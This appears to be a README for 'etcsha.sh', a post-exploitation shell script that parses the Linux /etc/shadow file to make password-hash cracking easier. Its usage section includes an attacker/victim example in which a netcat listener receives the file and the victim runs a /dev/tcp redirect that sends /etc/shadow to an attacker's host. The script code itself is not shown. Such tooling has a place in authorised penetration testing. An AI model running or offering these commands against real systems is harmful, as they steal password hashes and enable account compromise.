A shell script to parse the /etc/shadow file and automatically display the relevant information
This script aims to make post exploitation easier by parsing the /etc/shadow
file and outputting the information in a concise way that makes steps like hash cracking easier
Currently, the script only supports reading from stdin:
cat /etc/shadow | ./etcsha.sh
or output every field of the /etc/shadow
file with the -a
flag
cat /etc/shadow | ./etcsha.sh -a
as it reads from stdin it can also receive files sent e.g. from netcat:
# attacker machine:
nc -lvnp 1234 | ./etcsha.sh
# victim:
cat /etc/shadow > /dev/tcp/$ATTACKER/1234